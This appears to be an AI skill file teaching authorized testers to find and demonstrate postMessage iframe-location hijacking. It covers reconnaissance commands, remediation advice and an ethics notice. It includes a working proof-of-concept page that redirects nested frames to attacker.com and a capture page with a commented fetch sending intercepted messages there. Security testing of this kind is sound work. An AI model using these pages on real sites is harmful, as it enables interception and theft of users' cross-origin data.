PostMessage Iframe Location Exploit Testing
This skill helps security testers identify and validate postMessage vulnerabilities where an attacker can hijack iframe locations to intercept sensitive data.
Vulnerability Overview
This attack works when:
- A parent page can be iframed (no X-Frame-Options or X-Frame-Options: SAMEORIGIN)
- The parent page contains nested iframes
- The page uses
postMessagewith wildcard (*) or overly permissive target origins - The attacker can manipulate
frames[].locationto redirect iframe content
When to Use This Skill
Use this skill when:
- Testing web applications for postMessage security vulnerabilities
- Auditing cross-origin communication patterns
- Investigating potential data exfiltration vectors
- Performing authorized penetration testing on web applications
- Reviewing iframe implementations for security issues
Testing Methodology
Step 1: Reconnaissance
Identify potential targets:
# Check for X-Frame-Options header
curl -I https://target-site.com | grep -i x-frame-options
# Check for Content-Security-Policy frame-ancestors
curl -I https://target-site.com | grep -i content-security-policy
If no X-Frame-Options header exists, the page may be iframeable.
Step 2: Identify Nested Iframes
Look for pages that:
- Embed third-party content (Google Docs, Sheets, external widgets)
- Use iframes for cross-origin communication
- Implement postMessage for data exchange
// In browser console on target page
document.querySelectorAll('iframe').forEach((frame, i) => {
console.log(`Frame ${i}:`, frame.src);
});
Step 3: Detect Wildcard postMessage Usage
Search the page source for postMessage patterns:
# Look for wildcard receivers
grep -r 'postMessage.*\*' /path/to/page-source/
# Look for overly permissive target origins
grep -r 'postMessage.*"\*"' /path/to/page-source/
Step 4: Test Iframe Location Manipulation
Create a test page to attempt the exploit:
<!DOCTYPE html>
<html>
<head>
<title>PostMessage Iframe Test</title>
</head>
<body>
<h1>PostMessage Iframe Location Test</h1>
<iframe id="target-frame" src="https://target-site.com/page-with-iframe"></iframe>
<script>
// Attempt to manipulate nested iframe locations
function attemptIframeManipulation() {
const frames = window.frames;
// Try to access and modify nested frames
for (let i = 0; i < frames.length; i++) {
try {
const frame = frames[i];
console.log(`Testing frame ${i}:`, frame.location.href);
// Attempt to modify location (will fail if cross-origin restrictions apply)
// This is the core of the vulnerability
if (frame.frames && frame.frames.length > 0) {
for (let j = 0; j < frame.frames.length; j++) {
try {
frame.frames[j].location = 'https://attacker.com/capture.html';
console.log(`Modified frame ${i}.${j} location`);
} catch (e) {
console.log(`Cannot modify frame ${i}.${j}:`, e.message);
}
}
}
} catch (e) {
console.log(`Cannot access frame ${i}:`, e.message);
}
}
}
// Run periodically as iframes may load asynchronously
setTimeout(attemptIframeManipulation, 2000);
setInterval(attemptIframeManipulation, 1000);
</script>
</body>
</html>
Step 5: Capture PostMessage Data
If the location manipulation succeeds, set up a receiver:
<!DOCTYPE html>
<html>
<head>
<title>PostMessage Capture</title>
</head>
<body>
<h1>Captured Messages</h1>
<div id="messages"></div>
<script>
// Listen for all postMessage events
window.addEventListener('message', function(event) {
const messageData = {
origin: event.origin,
source: event.source ? 'iframe' : 'window',
data: event.data,
timestamp: new Date().toISOString()
};
// Log to console
console.log('Captured message:', messageData);
// Display on page
const div = document.createElement('div');
div.innerHTML = `<pre>${JSON.stringify(messageData, null, 2)}</pre>`;
document.getElementById('messages').appendChild(div);
// Optionally exfiltrate to attacker server
// fetch('https://attacker.com/capture', {
// method: 'POST',
// headers: {'Content-Type': 'application/json'},
// body: JSON.stringify(messageData)
// });
});
</script>
</body>
</html>
Common Vulnerable Patterns
Pattern 1: Wildcard Target Origin
// VULNERABLE - sends to any origin
window.parent.postMessage(data, '*');
// SECURE - specify exact origin
window.parent.postMessage(data, 'https://trusted-origin.com');
Pattern 2: Missing Origin Validation
// VULNERABLE - accepts messages from any origin
window.addEventListener('message', function(event) {
// No origin check!
processSensitiveData(event.data);
});
// SECURE - validate origin
window.addEventListener('message', function(event) {
if (event.origin !== 'https://trusted-origin.com') {
return; // Reject untrusted messages
}
processSensitiveData(event.data);
});
Pattern 3: Iframeable Pages with Nested Iframes
<!-- VULNERABLE if no X-Frame-Options header -->
<html>
<body>
<iframe src="https://third-party.com/widget"></iframe>
<script>
// Sends data to nested iframe
window.frames[0].postMessage(sensitiveData, '*');
</script>
</body>
</html>
Remediation Recommendations
For Developers
Set X-Frame-Options header
X-Frame-Options: DENY # or X-Frame-Options: SAMEORIGINUse Content-Security-Policy
Content-Security-Policy: frame-ancestors 'self';Specify exact postMessage origins
// Instead of '*' window.parent.postMessage(data, 'https://specific-trusted-origin.com');Validate message origins
window.addEventListener('message', function(event) { if (event.origin !== 'https://expected-origin.com') { return; } // Process message });Use frame-busting scripts
if (window.top !== window.self) { window.top.location = window.location; }
Reporting Findings
When documenting this vulnerability:
Severity: High (potential for data exfiltration)
CVSS Factors:
- Attack Vector: Network
- Attack Complexity: Low (if conditions met)
- Privileges Required: None
- User Interaction: None (automated)
- Confidentiality: High impact
- Integrity: Medium impact
- Availability: Low impact
Proof of Concept: Include the test page that demonstrates the exploit
Impact: Describe what data could be exfiltrated
Remediation: Provide the recommendations above
Safety and Ethics
⚠️ IMPORTANT: Only use this skill for:
- Authorized security testing on systems you own or have explicit permission to test
- Educational purposes in controlled environments
- Bug bounty programs where this vulnerability type is in scope
Do not use this technique on:
- Systems without explicit authorization
- Production systems without proper testing procedures
- Third-party applications without permission